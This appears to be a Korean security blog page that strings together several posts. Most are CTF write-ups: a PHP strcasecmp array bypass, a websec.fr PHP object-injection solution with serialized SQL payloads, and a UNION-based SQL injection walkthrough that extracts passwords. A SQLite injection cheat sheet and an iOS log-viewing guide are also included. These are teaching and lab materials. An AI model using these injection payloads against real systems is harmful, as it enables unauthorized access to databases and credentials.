반응형

해당 문제는 느슨한 문자열 비교에 의해 발견된 취약점을 이용한 문제이다.

 

먼저 소스코드를 분석해보면 sleep_rand(); 함수를 선언하고 post 방식으로 flag 값이 세팅되어있으면 해당 함수를 호출하는데 이는 flag를 찾는 것과는 무관하다.

그냥 말 그대로 random한 값대로 sleep 하는 함수이다.

 

중요하게 봐야할 곳은 바로 아래 쪽이다.

<?php
if (! strcasecmp ($_POST['flag'], $flag))
    echo '<div class="alert alert-success">Here is your flag: <mark>' . $flag . '</mark>.</div>';   
else
    echo '<div class="alert alert-danger">Invalid flag, sorry.</div>';
?>

 

POST 방식으로 넘겨준 flag 파라미터값과 $flag 변수의 값이 일치할 경우 $flag를 출력해준다고 한다.

strcasecmp는 strcmp와 동일한 함수인데 단지 대소문자 비교를 하지 않는다는 차이만 존재하다.

 

따라서 strcmp의 취약점을 통해 flag를 배열로 넘겨주면 flag가 출력된다.

 

 


※ strcmp 취약점

 - strcmp(str1,str2)의 경우 return 값이 총 3가지 경우로 나눠져있다.

1) str1>str2 => 양수

2) str1<str2 => 음수

3) str1=str2 => 0

 

 - PHP 5.3 이상의 버전에서 문자열과 배열을 비교하게 되면 NULL을 출력한다. PHP 5.2 이하 버전에서는 문자열과 배열을 비교했을 때 문자열과 "Array"를 비교한다고 한다.

 

 - 문자열 비교 시 느슨한 비교(==)를 할 경우 NULL과 0을 비교하면 True가 되므로 문자열을 알지 못하더라고 배열을 넣으면 두 가지 인자값이 동일하다고 판단하는 것이다.

 

자세한 사항은 아래 블로그를 참고하길 바란다.

https://hackability.kr/entry/PHP-strcmp-%EC%B7%A8%EC%95%BD%EC%A0%90%EC%9D%84-%EC%9D%B4%EC%9A%A9%ED%95%9C-%EC%9D%B8%EC%A6%9D-%EC%9A%B0%ED%9A%8C

반응형
블로그 이미지

rootable

,
반응형

앱 설치 에러 혹은 로그 내 중요정보 등등 확인을 위해 IOS device의 로그를 확인해야할 경우가 많다.

현재 구글 검색 시 주로 MAC에서 log 보는 방법들만 주르륵이라 포스팅한다.

 

Windows 환경에서 IOS log 확인하기.

 

1. IOS log를 확인하기 위해서 iosLogInfo라는 툴을 사용한다.

 다운로드 링크 : https://www.blackberry.com/blackberrytraining/web/KB_Resources/KB36986_iOSLogInfo_4.3.4.zip

 

2. 압축을 해제하면 IOSLogInfo라는 폴더가 생성될 것이다.

여기서 단말기의 log를 보기 위해 사용하는 파일은 sdsiosloginfo.exe 이다.

단말기를 PC에 연결한 상태에서 cmd창에 아래와 같이 작성한다.

 

sdsiosloginfo.exe -d > [로그 파일명]

 

3. 해당 명령어를 작성할 경우 아무 반응이 없는데 이때부터 IOS 단말기의 로그를 입력한 파일에 저장하고 있는 것이다.

단말기를 통해 로그가 저장되기 위한 행위를 한 뒤 CMD 창에서 [ctrl+c]를 눌러 Interrupt signal을 보내면 Exiting... 이라는 문자열과 함께 sdsiosloginfo.exe 파일이 존재하는 폴더에 로그가 저장된다.

 

4. 해당 파일을 확인하면 단말기 로그가 저장되어있으므로 확인해서 정보를 확인하면 끝!

반응형

'Hacking > Mobile' 카테고리의 다른 글

apktool decompile error solution  (0) 2019.04.24
APK 무결성 확인  (0) 2019.04.20
[IOS] Frida-trace  (0) 2019.01.17
[IOS] gdb와 cycript를 이용한 탈옥 탐지 우회  (0) 2019.01.04
VMware의 MacOS상에서의 IOS 인식  (0) 2019.01.03
블로그 이미지

rootable

,
반응형

PHP Object Injection에 대해 공부를 해보고 이에 대한 문제를 풀어보고자 websec에서 관련된 문제 중 가장 쉬운 문제를 풀어보았다.


처음 접하는 분들이 어떤 flow로 exploit이 되는지 이해하는데 도움이 되었으면 한다.


해당 문제 링크는 아래와 같다.

http://websec.fr/level04/index.php


문제에 접근하면 소스코드 2개를 볼 수 있다.

해당 소스코드를 분석해본 결과 unserilizse와 serialize가 보이는 것으로 보아 PHP Object Injection 기법을 이용하는 문제이지 않을까 하였다.


그래서 조금씩 분석을 해보았다.


if (isset ($_COOKIE['leet_hax0r'])) {
    
$sess_data unserialize (base64_decode ($_COOKIE['leet_hax0r']));
    try {
        if (
is_array($sess_data) && $sess_data['ip'] != $_SERVER['REMOTE_ADDR']) {
            die(
'CANT HACK US!!!');
        }
    } catch(
Exception $e) {
        echo 
$e;
    }
} else {
    
$cookie base64_encode (serialize (array ( 'ip' => $_SERVER['REMOTE_ADDR']))) ;
    
setcookie ('leet_hax0r'$cookietime () + (86400 30));
}


첫번째 소스코드부분의 일부이다.

일단 leet_hax0r 이라는 쿠키값이 세팅되어있으면 해당 값을 base64로 디코딩진행 후 unserialize한다. 따라서 leet_hax0r라는 쿠키가 공격 point임을 알 수 있다.


그렇다면 해당 부분을 이용하여 어떤 식으로 진행해야할까?

소스코드의 윗부분을 보면 아래와 같은 코드가 존재한다.


$sql = new SQL();
$sql->connect();

$sql->query 'SELECT username FROM users WHERE id=';


즉 SQL이라는 Object를 하나 생성 후 sql이라는 변수에 담아준 뒤 connect() 함수를 실행시키고 query라는 property에 SQL 쿼리를 선언해주고 있다.



if (isset ($_REQUEST['id']) && is_numeric ($_REQUEST['id'])) {
    try {
        
$sql->query .= $_REQUEST['id'];
    } catch(
Exception $e) {
        echo 
' Invalid query';
    }

}

그리고 마지막 소스코드의 마지막 부분을 보면 id라는 값을 받아 query의 끝에 붙여주는 것을 볼 수 있다.


여기서 의문점이 든다.

쿼리 실행하는 것이 보이지 않는데 쿼리 실행결과를 어디서 가져오는 것일까?

그건 바로 두번째 소스코드를 보면 알 수 있다.


class SQL {
    public 
$query '';
    public 
$conn;
    public function 
__construct() {
    }
    
    public function 
connect() {
        
$this->conn = new SQLite3 ("database.db"SQLITE3_OPEN_READONLY);
    }

    public function 
SQL_query($query) {
        
$this->query $query;
    }

    public function 
execute() {
        return 
$this->conn->query ($this->query);
    }

    public function 
__destruct() {
        if (!isset (
$this->conn)) {
            
$this->connect ();
        }
        
        
$ret $this->execute ();
        if (
false !== $ret) {    
            while (
false !== ($row $ret->fetchArray (SQLITE3_ASSOC))) {
                echo 
'<p class="well"><strong>Username:<strong> ' $row['username'] . '</p>';
            }
        }
    }

}


마지막에 선언된 __destruct() 함수는 클래스의 소멸자로서 해당 Object의 모든 참조가 삭제되거나 명시적으로 파기되었을 때 호출된다.


즉, 첫번째 소스코드에서 코드가 끝나며 생성된 SQL이라는 Object가 파기되면서 __destruct() 함수가 실행되는 것이다.


그러므로 현재 세팅되어 있는 leet_hax0r을 변조하여 sql 쿼리를 우리가 원하는 대로 바꿔주면 flag를 얻을 수 있는 것이다.


테스트를 해보기 위해 아래와 같은 값을 base64 encoding하여 leet_hax0r 에 넣은 뒤 User id 부분에 임의의 숫자를 입력하고 [Go]를 눌러보았다.. 

O:3:"SQL":1:{s:5:"query";s:20:"select 1 as username";}


그 결과 우리가 원하는대로 1이 출력됨을 볼 수 있다.

해당 값의 하나하나 분석은 아래의 링크를 참고하길 바란다.

https://blog.ripstech.com/2018/php-object-injection/


여기서 쿼리의 마지막에 as username이라고 해준 이유는 2번째 소스코드 확인해보면 쿼리의 결과 중 username에 대한 값을 출력해주기 때문이다.


이제 Flag를 얻기 위해 아래의 값을 base64 encoding한 뒤 실행시키면 flag를 얻을 수 있다.


O:3:"SQL":1:{s:5:"query";s:42:"select name as username from sqlite_master";}


O:3:"SQL":1:{s:5:"query";s:64:"select sql as username from sqlite_master where tbl_name='users'";}


O:3:"SQL":1:{s:5:"query";s:38:"select password as username from users";}


그 결과 FLAG를 확인할 수 있다.

반응형

'Hacking > Web' 카테고리의 다른 글

[websec.fr] level 25 writeup with parse_url bug  (0) 2019.04.07
[WebSec.fr] level 17 writeup  (0) 2019.03.28
WAS별 default로 허용되어있는 jsp 관련 확장자  (0) 2019.03.26
SQL Injection in SQLite3  (0) 2019.03.17
Node.JS  (0) 2019.03.03
블로그 이미지

rootable

,

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

반응형


Websec.fr의 가장 쉬운 문제이다.

SQL Injection을 하는 문제인 것으로 보인다.


소스코드를 보면 아예 Injection을 여기에 하라고 변수명으로 친절히 알려준다.


가장 쉬운 문제이므로 union으로도 되지 않을까 싶어 먼저 컬럼 수를 확인해보았다.

order by 2로는 잘 작동하지만 order by 3으로는 에러가 뜨는 것을 통해 컬럼 수는 총 2개인 것을 확인.


1) order by 2일 때 정상 작동



2) order by 3일 때 오류


따라서 이를 이용해 0 union select 1,2--+를 해보았다.


그 결과 예상대로 잘 출력하였고 이를 이용해 flag를 찾았다.


1) 0 union select 1,(select name FROM sqlite_master) --+



2) 0 union select 1,(select sql FROM sqlite_master WHERE tbl_name='users') --+


3) 0 union select 1, password from users where id=1--+



반응형

'Solve Problem' 카테고리의 다른 글

XSS Research  (0) 2019.05.21
File Upload Filter Bypass Research  (0) 2019.05.17
[CYBER TALENTS] This is Sparta  (0) 2019.02.05
[root-me] Command injection - Filter bypass  (0) 2019.02.01
[SuNiNaTas] 23번 문제  (0) 2019.01.21
블로그 이미지

rootable

,

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

반응형

* 주석 : --

* 조건문 : CASE

* Substring : substr(x,y,z)

  - substr('test',1,1) = 't'

* 길이 : length(stuff)

* 테이블 리스트 : SELECT name FROM sqlite_master

* 컬럼명 리스트 : SELECT sql FROM sqlite_master WHERE tbl_name='table_name' AND type='table' 

   - 테이블 생성 쿼리를 통해 획득


* Blind SQL Injection을 위해서는 unicode() 사용 (ascii() function 미존재)



※ SQLite에서의 SQL Injection

 - 보통 SQLite는 서버 단에서 활용하는 DB보다는 모바일 등 Front-End 단에서 자주 황용되는 DB이므로 다른 DB들처럼 전체 테이블 혹은 시스템 정보를 추출하기보다는 DB 내 데이터변조 혹은 타사용자의 정보 추출을 위해 사용됨.


그러나 낮은 확률도 Web에서 사용될 수도 있고, 모바일의 경우 SQLite를 DB로 사용하는 경우가 많기 때문에 그런 경우 공격해볼만한 포인트가 된다.


그럴 경우 아래의 링크를 참고하여 진행해보자.


https://www.hahwul.com/2017/11/web-hacking-sqlite-sql-injection-and.html

반응형

'Hacking > Web' 카테고리의 다른 글

PHP Object Injection with websec level 4  (0) 2019.03.26
WAS별 default로 허용되어있는 jsp 관련 확장자  (0) 2019.03.26
Node.JS  (0) 2019.03.03
SSTI in Flask  (0) 2019.02.24
[root-me] XPath injection - string  (0) 2019.02.19
블로그 이미지

rootable

,

Node.JS

2019. 3. 3. 17:34

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.